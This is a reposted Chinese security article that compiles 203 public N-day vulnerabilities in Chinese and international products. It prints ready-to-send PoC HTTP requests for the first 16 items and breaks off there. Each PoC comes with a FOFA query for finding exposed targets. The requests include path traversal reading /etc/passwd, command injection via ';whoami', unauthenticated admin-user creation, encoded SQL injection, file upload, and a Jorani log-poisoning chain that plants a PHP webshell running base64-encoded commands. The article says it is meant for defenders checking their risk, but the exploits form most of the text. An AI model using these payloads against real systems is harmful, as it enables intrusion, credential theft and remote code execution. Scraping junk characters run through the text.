互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
9 V, Z) W7 ?6 c道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
2 U: W6 K+ C. r5 t# U
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
) ?# ]: G1 M; @: {& A' Y; O
! B4 s0 n& K" X6 O6 R1 h) R2 m漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
' X+ g$ M$ ]/ g  H/ T
9 {9 r$ E1 k# L' K) z" W文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
% a4 i8 ^0 ?8 s! e. L, M
7 f3 n7 I+ J, [" D. T, i2 N5 r0 {5 v合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

  ^3 Q0 b0 c0 t  k* L
声明

% E. \: J0 U5 f6 z, B+ S; b为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
6 i% w, H2 f+ y1 Z- O
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
* b* u+ G, n% E


目录
5 _; l2 t4 W  _
01
" D4 P- q- Y" P; C' c
1. StarRocks MPP数据库未授权访问
& m6 S( j5 V! W6 k, [2. Casdoor系统static任意文件读取
3 [- {4 S" @$ _, [7 I3. EasyCVR智能边缘网关 userlist 信息泄漏
( c4 `9 ?7 ~& @, i' N) k) G- l4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
* j, Q  G- z6 e10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
8 h1 \, I: ~8 c  U; Z11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
+ Q) V6 v" j- s$ ?1 W& T( w5 X$ Y3 D12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
& `7 p+ Z7 k/ H15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
! N/ T3 g$ T1 N  v18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
! V* K$ P- Y: [! r1 s19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
8 H7 E; a, B8 \, v& U' ~- U20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
( K! j" U: _" z7 @3 W: j27. 用友 NC showcontent SQL注入
+ V  |# N" s- S+ x28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
3 t& n: y7 j& g# q3 f1 k35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
  n* P% @) ?7 ^  g38. 用友U8 Cloud smartweb2.RPC.d XXE
) P9 |! N$ F# c0 t" s39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
: o7 Z6 n0 i/ e9 n; y41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
6 i. D. L$ u5 L( H) E42. 用友GRP-U8 SmartUpload01 文件上传
: ]  T/ u: a# k+ j43. 用友GRP-U8 userInfoWeb SQL注入致RCE
( i$ R/ S; N2 o( T. S. u44. 用友GRP-U8 bx_dj_check.jsp SQL注入
& k, A7 \' g& C9 |8 C. N* }45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
9 Y- _% g2 @# f' Z1 i9 c48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
3 c) [' s, e+ `- i0 C( Q. t" m' Z52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
4 C; O2 z/ P) N# ^& C3 a. F+ A6 J! Y56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
. d: P. n. L$ _/ L; l57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
6 r- e  @4 L; W7 l, t7 w66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
: _7 F& r1 a$ f69. 万户 ezOFFICE contract_gd.jsp SQL注入
3 W5 c) H  Q5 U/ W% ^9 Z, f7 A70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
* V. `) T& {0 L; K- x72. 致远OA getAjaxDataServlet XXE
- `' `9 g* r$ A! ~& b( y73. GeoServer wms远程代码执行
1 ^$ j4 Y* u3 q5 ?2 `0 @3 j2 k, J74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
+ l9 e# ?. X- N$ ^77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
9 K7 ^3 E9 ?, B, e4 j/ g( @9 a79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
; f4 c6 h( u+ H& ]; Z) T( ~82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
2 H; H/ ]3 g7 D, H7 D2 v/ F2 s85. SysAid On-premise< 23.3.36远程代码执行
! G1 ]1 p, t3 W( G86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
; A2 ~/ G" ^5 `88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
+ R3 u5 v7 q- e: {& ]+ F2 x91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
% X$ g/ p# K5 v- S" ~94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
" z! J' B9 q0 \% r$ ?0 s: w95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
* Y2 d( @9 ]1 I' x6 `* M6 O97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
. g$ i0 q! ~. F" M98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
0 ^% F5 W1 r& {' ]+ {; T102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
( j# P; K1 \$ u5 R) ^' d5 b, V103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
0 ?- k) Z4 p: ]$ s0 r105. SpringBlade v3.2.0 export-user SQL 注入
' q4 ^! A8 x5 b" V0 F4 z106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
6 j/ p. Q* F2 Z108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
& @( v( a3 N1 V% X5 A8 N112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
/ s! w4 r0 a3 n& n115. WordPress Bricks Builder <= 1.9.6 RCE
6 y# B% ~' H; i# Z116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
# z  M% u  S1 o1 t, z2 M, |118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
7 e) m' G3 }/ b2 w! M2 C/ K119. 北京百绰智能S20后台sysmanageajax.php sql注入
* G8 [* S+ G, m- `' G5 e& N5 _/ j9 H$ A120. 北京百绰智能S40管理平台导入web.php任意文件上传
( ^3 L6 _0 n. _- e# j$ F121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
, E, p- [1 l8 x0 I. ?- C+ ]123. Atlassian Confluence 模板注入代码执行
/ H. `% P2 \* F5 ~" P  B124. 湖南建研工程质量检测系统任意文件上传
- g2 F( a2 K( h, n% ^2 S125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
6 |+ W: x- c( G6 [& L1 u% g128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
# w: t) A* ~$ ?8 @; l. m132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
2 B. `4 i- r; C* |- x7 J136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
8 t" F3 I% E2 X! ^138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
& _1 [  J% V8 j- i8 Q139. 福建科立讯通信指挥调度平台editemedia.php sql注入
" U1 Z' ^$ a( ~+ B6 w( s140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
6 A7 g# \+ ?+ ~  ?4 B141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
+ V3 C- C; j8 \% W143. Netis WF2780 v2.1.40144 远程命令执行
/ t2 [4 W  ]2 C144. D-Link nas_sharing.cgi 命令注入
& U( j. u5 s+ j! ?145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
5 W3 t3 @. [* j4 Q147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
! S( c% d% F5 o. o# w) ~148. CrushFTP 认证绕过模板注入
% }4 y" O- p7 @  e  \& T149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
+ [. }) J( _8 f151. AJ-Report 1.4.1 pageList sql注入
, f2 x" u# Z( D* @/ N: o3 g152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
7 U, j0 R  c7 d8 ]$ D* @154. 天维尔消防救援作战调度平台 SQL注入
' m& F7 Y: W% y8 A2 ~& H155. 六零导航页 file.php 任意文件上传
6 U, \' L' z( k" i- I6 ?156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
/ B6 ~6 c; N  z3 c6 |* M  V9 ?0 Z162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
- F3 o0 W2 `7 k) E& L9 |" Q! Z/ ^165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
4 Y+ N# c: B' m+ j7 z167. 精益价值管理系统 DownLoad.aspx任意文件读取
/ D. m; p, @' W. Y: x; L) R* K168. 宏景EHR OutputCode 任意文件读取
' I+ k% C8 m" C0 Y9 ?169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
3 B, o6 ]( R) I8 X, X171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
  a' u4 A4 s& D) e, P176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
/ \# u. @* A) b$ F4 d6 K  b179. 建文工程管理系统存在任意文件读取
. Q) ]7 ~' g5 d7 v180. 帮管客 CRM jiliyu SQL注入
7 p# k5 r( r9 w) K181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
" Y: Y3 Z* o, {4 s: n7 A7 Q7 I6 l7 e2 l182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
. w6 P' W, s3 F' B8 o183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
; d) H7 d% F5 m, R/ H+ b3 \184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
* b- m* S( P! g5 a185. 瑞友天翼应用虚拟化系统SQL注入
& i2 J: P: X, V7 O& X9 y$ x186. F-logic DataCube3 SQL注入
$ D3 E7 o1 w7 A9 x6 f" ]& I187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
. B% A  |7 k/ S5 C$ ~189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
0 N9 L, T* ~; e/ p) H192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
+ f# i5 K) I0 Y193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
8 g% n: k+ ?. D194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
  Q9 N/ ^/ {0 a! ~1 ~197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
- Z4 V, v; y4 I6 t- p( h5 w199. cockpit系统assetsmanager_upload接口 文件上传
. a* c2 e% }! S200. SeaCMS海洋影视管理系统dmku SQL注入
; r/ K; s  J) n1 A3 I7 o9 n! O& v% f201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
: A9 L5 \, Z, ~3 k9 {8 [. O/ L203. 红海云EHR PtFjk 文件上传
& O7 k% a- E5 M7 m, M9 }" m
POC列表
% ~5 u/ E" @  v7 D
02

5 J" G2 {) f5 S. A7 x; b- H) R1. StarRocks MPP数据库未授权访问
' O7 r& t) p7 n: T3 @- MFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
  N7 r3 Z  Z! S. B1 PHost: URL
" j# g/ h* \1 }. t
! B9 S) h( Z2 r  N! N4 Y
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
1 G& `- r: H6 q- ]- u! _" E& uAccept: */*
Accept-Language: en
+ x/ Y' i  `  a  yAccept-Encoding: gzip
( r; I* a, q* g9 x* w! i

. Z  `0 p/ t1 i; Y' @) z, P: U3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
& Q. f; y( d/ }; E4 @GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
% A- O9 g9 H' S
- Z' V. N2 n: i; f
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

9 M' r: v/ s, h) M% y- qpassword更改为自己的密码md5
- `; ~/ h; O2 t, nPOST /api/v1/adduser HTTP/1.1
" n1 T- E8 R2 `4 J3 {; P* I0 YHost: your-ip
! e, M: D3 {* N3 A# XContent-Type: application/x-www-form-urlencoded; charset=UTF-8

7 V% h- l) [1 o5 Gname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
6 {; j/ j. b7 V# I! l& ^& s/ K

5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
' j0 M; V" M& O+ p+ `+ n8 aHost: xx.xx.xx.xx
3 |3 I$ @# |8 ?' ?

6. 深信服 NGAF 任意文件读取
+ B- {- V1 t$ @6 C- ]FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:

  w- \( V. f+ Q' |
7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
3 K* i4 f4 C/ P( K4 Q( }; YHost:
- c4 d9 ]' w% s/ S: y. Z

8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
9 G% ]0 @$ P9 _) u默认账号admin登录后台后，执行操作
( T4 u( C$ e8 K) L& q9 wPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
4 V) A2 `- F* uHost: x.x.x.x
  n) @: e% p, Q% Y/ R" wCookie: sysauth=第一步登录获取的cookie
0 U6 Q% k+ }- U7 s1 v2 A7 qContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
1 Z* j7 Y; Y4 o- R+ J- ?2 G5 LUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
$ K1 b7 Q2 j* n
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
& Q, ~1 l7 H4 e# `7 l% n
: ^5 C) A3 D9 U. B12:00; id;
------WebKitFormBoundaryxbgjoytz
3 u; g7 H7 _6 _. P$ _Content-Disposition: form-data; name="wifiRebootendrange"
2 b) X# ?8 ?; Z8 p  S/ R$ Z9 t
( k" {; W+ t$ u%s:
------WebKitFormBoundaryxbgjoytz
6 S6 f. X% Z" U( o5 m; D( i# G! D! ZContent-Disposition: form-data; name="cururl2"
. @3 z4 V# U9 ?% h' X3 J, z

------WebKitFormBoundaryxbgjoytz--

9 @1 l$ H  k. f9 q+ ?; S, A
9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
" V/ l# h0 r2 X& m4 L9 bGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
* Q! u- D; F# j8 j' A9 X' m% A- H/ IHost: x.x.x.x
! g& `; U" ]/ v) X8 _- \9 G( e2 i; {
5 I8 K8 i* M( o) V  v
7 i* ~% t# t  N+ xpayload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
- `( j' ]2 }( O7 \) P: w# d
3 x8 K: m5 a$ r  Z4 F# ?9 j10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
" |2 V; m  {! R3 j! w9 _* ~FOFA：icon_hash="953405444"

% d* f2 X5 `3 [  V5 q( [5 r文件上传后响应中包含上传文件的路径
3 m* U) l* i8 n( v9 |POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
9 J  C& }& A; o* b* qContent-Length: 197
5 x: `) N( e0 S4 a( g# d) tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
9 }- k7 D# m# j6 V9 q8 H- hAccept-Language: zh-CN,zh;q=0.9
8 g5 h- A8 B1 ZConnection: close
! n0 t* o& A6 e9 pContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
6 K% |* k# E: oContent-Disposition: form-data; name="file"filename="icfitnya.txt"
) r; W2 p3 J6 O) `) O" OContent-Type: text/html
8 C0 ?# H0 c& T6 n# |
jmnqjfdsupxgfidopeixbgsxbf
  c% Z9 a: k& M! R------WebKitFormBoundaryxdgaqmqu--


7 s$ O4 J/ j. q" a7 ]* j11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
" o' @6 c7 E0 S" \: I' X" zCache-Control: no-cache
# `0 [$ _$ P/ L5 r: W+ n8 mUpgrade-Insecure-Requests: 1
4 p" N- U; G- ?1 u2 a, xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
- ?8 T- Y# C/ o5 [" S7 e: \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 ^! o; d9 g7 q7 @4 X8 C: GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
% _7 _4 `2 S5 a4 U4 MConnection: close
3 g& g1 H% w- p5 a; w

12. Jorani < 1.0.2 远程命令执行
: ^+ m' b3 L5 ]) r0 hFOFA：title="Jorani"
* N0 \4 k0 s  S) h0 ?% [, V  b第一步先拿到cookie
+ {: Y3 c( b& T8 @1 w0 xGET /session/login HTTP/1.1
Host: 192.168.190.30
0 b, h! F9 V: R( sUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
* i+ h3 V# Z3 W3 g" pAccept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
9 L8 S0 l, I2 d- E9 }; _- w, oDate: Tue, 24 Oct 2023 09:34:28 GMT
3 S! P+ n" _6 K9 N  v8 D) IExpires: Thu, 19 Nov 1981 08:52:00 GMT
: v- b; S4 N7 b! fLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
( W7 f, k" S! c- R, j, ~- S- e" PSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
7 f5 S8 y( m7 t# `: B

POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
5 M- v: {3 V3 a+ a; T* ^Host: 192.168.190.30
7 [% w' D; \- I3 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
% R/ i" x0 A& ~, DConnection: close
9 B# C$ N8 B2 T# Q' `Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
( [( z; D( b  A' T" uAccept-Encoding: gzip
( l2 E4 W1 d& u& H, f- m. G
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor


' d( `6 D/ ]; T5 a+ m: s/ q/ Z$ k
4 S. O4 D/ e5 N7 u( M向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
6 i# Q: F  x  L7 Q% F* ^; hHost: 192.168.190.30
- \, Q3 ~( g+ Z  b. r+ yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
$ E& ]/ h! t2 L" q8 oConnection: close
2 S/ s; ^: G) K1 R/ e& LCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip

' n- w/ C* E- j2 W8 k
6 w! C1 Y2 y7 o3 O) X13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
6 M4 A8 `  W* J* R: z8 H! O5 PHost: x.x.x.x
) a/ s4 d. K2 h2 v8 b/ YUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
' j  u3 ^1 L( QAccept-Encoding: gzip
7 x) S2 ]! G2 U& d6 s
# h4 d5 l7 ~- A; f3 i
8 L+ P+ g; a* T, O  z% C$ A14. 华夏ERP（jshERP）敏感信息泄露
( X! z$ |' L  I, D& vFOFA：body="jshERP-boot"
泄露内容包括用户名密码
5 n9 N: h" W) C0 s  ?( V  ~8 E) K( UGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
3 H; q; g, K) z" s8 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
, V( C* ~5 u* ~3 s; `Accept: */*
Accept-Language: en
5 E, G! }- J0 `) CAccept-Encoding: gzip


15. 华夏ERP getAllList信息泄露
CVE-2024-0490
. H2 t9 m" {4 l  D: ZFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
# \3 p% Y8 D  CHost: 192.168.40.130:100
* f* Q* I( U. r/ f! @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
' c+ Z. X3 Y0 f2 I/ [6 D  ?Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
' K; M+ q% M% m" I& wAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
- Z+ w, ]- ^# u% e0 E$ j/ L6 g
5 z. j( ]1 Q1 o9 ]8 P* l
16.  红帆HFOffice医微云SQL注入
: ?$ U' a  \" F% @. |$ AFOFA：title="HFOffice"
+ M5 L! ?0 q% c6 s8 ?+ Zpoc中调用函数计算1234的md5值
